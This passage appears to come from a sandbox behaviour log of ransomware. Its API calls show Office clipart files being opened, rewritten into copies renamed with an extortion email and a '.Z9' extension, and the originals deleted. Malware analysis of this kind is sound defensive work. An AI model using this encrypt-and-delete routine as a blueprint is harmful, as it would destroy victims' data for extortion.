	[0084.594] lstrlenW (lpString=".docx") returned 5
	[0084.594] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.594] lstrlenW (lpString=".pdf") returned 4
	[0084.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.594] lstrlenW (lpString=".xls") returned 4
	[0084.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.594] lstrlenW (lpString=".xlsx") returned 5
	[0084.594] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.594] lstrlenW (lpString=".ppt") returned 4
	[0084.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0084.594] lstrlenW (lpString=".zip") returned 4
	[0084.594] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.594] lstrlenW (lpString=".rar") returned 4
	[0084.594] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.594] lstrlenW (lpString=".bz2") returned 4
	[0084.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.594] lstrlenW (lpString=".7z") returned 3
	[0084.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0084.594] lstrlenW (lpString=".dbf") returned 4
	[0084.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0084.594] lstrlenW (lpString=".1cd") returned 4
	[0084.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0084.594] lstrlenW (lpString=".jpg") returned 4
	[0084.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.594] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0084.595] lstrlenW (lpString="BD19563_.GIF") returned 12
	[0084.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0084.595] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=20454) returned 1
	[0084.595] CloseHandle (hObject=0x38c) returned 1
	[0084.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 0x220
	[0084.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0084.595] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.595] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0084.596] GetLastError () returned 0x0
	[0084.596] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x4fe6, lpOverlapped=0x0) returned 1
	[0084.597] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x4ff0, lpOverlapped=0x0) returned 1
	[0084.598] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.599] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.599] SetEndOfFile (hFile=0x394) returned 1
	[0084.599] CloseHandle (hObject=0x394) returned 1
	[0084.600] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.600] SetEndOfFile (hFile=0x38c) returned 1
	[0084.601] CloseHandle (hObject=0x38c) returned 1
	[0084.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 1
	[0084.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0084.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0084.602] lstrlenW (lpString=".doc") returned 4
	[0084.602] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0084.602] lstrlenW (lpString=".docx") returned 5
	[0084.602] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0084.602] lstrlenW (lpString=".pdf") returned 4
	[0084.602] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0084.602] lstrlenW (lpString=".xls") returned 4
	[0084.602] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0084.602] lstrlenW (lpString=".xlsx") returned 5
	[0084.602] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0084.602] lstrlenW (lpString=".ppt") returned 4
	[0084.602] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0084.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0084.602] lstrlenW (lpString=".zip") returned 4
	[0084.602] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0084.602] lstrlenW (lpString=".rar") returned 4
	[0084.602] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0084.602] lstrlenW (lpString=".bz2") returned 4
	[0084.602] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0084.602] lstrlenW (lpString=".7z") returned 3
	[0084.602] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0084.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0084.602] lstrlenW (lpString=".dbf") returned 4
	[0084.602] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0084.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0084.602] lstrlenW (lpString=".1cd") returned 4
	[0084.602] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0084.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0084.603] lstrlenW (lpString=".jpg") returned 4
	[0084.603] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0084.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0084.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0084.603] lstrlenW (lpString=".doc") returned 4
	[0084.603] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0084.603] lstrlenW (lpString=".docx") returned 5
	[0084.603] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0084.603] lstrlenW (lpString=".pdf") returned 4
	[0084.603] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0084.603] lstrlenW (lpString=".xls") returned 4
	[0084.603] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0084.603] lstrlenW (lpString=".xlsx") returned 5
	[0084.603] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0084.603] lstrlenW (lpString=".ppt") returned 4
	[0084.603] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0084.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0084.603] lstrlenW (lpString=".zip") returned 4
	[0084.603] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0084.603] lstrlenW (lpString=".rar") returned 4
	[0084.603] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0084.603] lstrlenW (lpString=".bz2") returned 4
	[0084.603] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0084.603] lstrlenW (lpString=".7z") returned 3
	[0084.603] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0084.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0084.603] lstrlenW (lpString=".dbf") returned 4
	[0084.603] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0084.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0084.603] lstrlenW (lpString=".1cd") returned 4
	[0084.603] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0084.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0084.603] lstrlenW (lpString=".jpg") returned 4
	[0084.604] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0084.604] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0084.604] lstrlenW (lpString="BD19582_.GIF") returned 12
	[0084.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0084.604] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=15733) returned 1
	[0084.604] CloseHandle (hObject=0x38c) returned 1
	[0084.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 0x220
	[0084.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0084.604] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.606] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0084.606] GetLastError () returned 0x0
	[0084.606] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x3d75, lpOverlapped=0x0) returned 1
	[0084.608] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x3d80, lpOverlapped=0x0) returned 1
	[0084.609] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.609] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.609] SetEndOfFile (hFile=0x394) returned 1
	[0084.609] CloseHandle (hObject=0x394) returned 1
	[0084.610] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.610] SetEndOfFile (hFile=0x38c) returned 1
	[0084.611] CloseHandle (hObject=0x38c) returned 1
	[0084.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 1
	[0084.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0084.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0084.612] lstrlenW (lpString=".doc") returned 4
	[0084.612] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0084.612] lstrlenW (lpString=".docx") returned 5
	[0084.612] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0084.612] lstrlenW (lpString=".pdf") returned 4
	[0084.612] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0084.612] lstrlenW (lpString=".xls") returned 4
	[0084.612] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0084.612] lstrlenW (lpString=".xlsx") returned 5
	[0084.612] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0084.612] lstrlenW (lpString=".ppt") returned 4
	[0084.612] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0084.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0084.612] lstrlenW (lpString=".zip") returned 4
	[0084.612] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0084.612] lstrlenW (lpString=".rar") returned 4
	[0084.612] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0084.612] lstrlenW (lpString=".bz2") returned 4
	[0084.612] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0084.612] lstrlenW (lpString=".7z") returned 3
	[0084.612] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0084.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0084.612] lstrlenW (lpString=".dbf") returned 4
	[0084.612] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0084.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0084.613] lstrlenW (lpString=".1cd") returned 4
	[0084.613] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0084.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0084.613] lstrlenW (lpString=".jpg") returned 4
	[0084.613] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0084.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0084.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0084.613] lstrlenW (lpString=".doc") returned 4
	[0084.613] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0084.613] lstrlenW (lpString=".docx") returned 5
	[0084.613] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0084.613] lstrlenW (lpString=".pdf") returned 4
	[0084.613] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0084.613] lstrlenW (lpString=".xls") returned 4
	[0084.613] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0084.613] lstrlenW (lpString=".xlsx") returned 5
	[0084.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0084.613] lstrlenW (lpString=".ppt") returned 4
	[0084.613] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0084.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0084.613] lstrlenW (lpString=".zip") returned 4
	[0084.613] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0084.613] lstrlenW (lpString=".rar") returned 4
	[0084.613] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0084.613] lstrlenW (lpString=".bz2") returned 4
	[0084.613] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0084.613] lstrlenW (lpString=".7z") returned 3
	[0084.613] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0084.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0084.613] lstrlenW (lpString=".dbf") returned 4
	[0084.613] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0084.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0084.613] lstrlenW (lpString=".1cd") returned 4
	[0084.613] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0084.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0084.613] lstrlenW (lpString=".jpg") returned 4
	[0084.614] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0084.614] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.614] lstrlenW (lpString="BD19695_.WMF") returned 12
	[0084.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0084.614] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=12982) returned 1
	[0084.614] CloseHandle (hObject=0x38c) returned 1
	[0084.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x220
	[0084.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0084.614] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.614] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0084.615] GetLastError () returned 0x0
	[0084.615] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x32b6, lpOverlapped=0x0) returned 1
	[0084.619] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x32c0, lpOverlapped=0x0) returned 1
	[0084.620] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.620] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.620] SetEndOfFile (hFile=0x394) returned 1
	[0084.620] CloseHandle (hObject=0x394) returned 1
	[0084.621] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.621] SetEndOfFile (hFile=0x38c) returned 1
	[0084.622] CloseHandle (hObject=0x38c) returned 1
	[0084.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.622] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 1
	[0084.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0084.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0084.623] lstrlenW (lpString=".doc") returned 4
	[0084.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.623] lstrlenW (lpString=".docx") returned 5
	[0084.623] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.623] lstrlenW (lpString=".pdf") returned 4
	[0084.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.623] lstrlenW (lpString=".xls") returned 4
	[0084.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.623] lstrlenW (lpString=".xlsx") returned 5
	[0084.623] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.623] lstrlenW (lpString=".ppt") returned 4
	[0084.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0084.623] lstrlenW (lpString=".zip") returned 4
	[0084.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.623] lstrlenW (lpString=".rar") returned 4
	[0084.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.623] lstrlenW (lpString=".bz2") returned 4
	[0084.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.623] lstrlenW (lpString=".7z") returned 3
	[0084.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0084.623] lstrlenW (lpString=".dbf") returned 4
	[0084.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0084.623] lstrlenW (lpString=".1cd") returned 4
	[0084.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0084.624] lstrlenW (lpString=".jpg") returned 4
	[0084.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0084.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68
	[0084.624] lstrlenW (lpString=".doc") returned 4
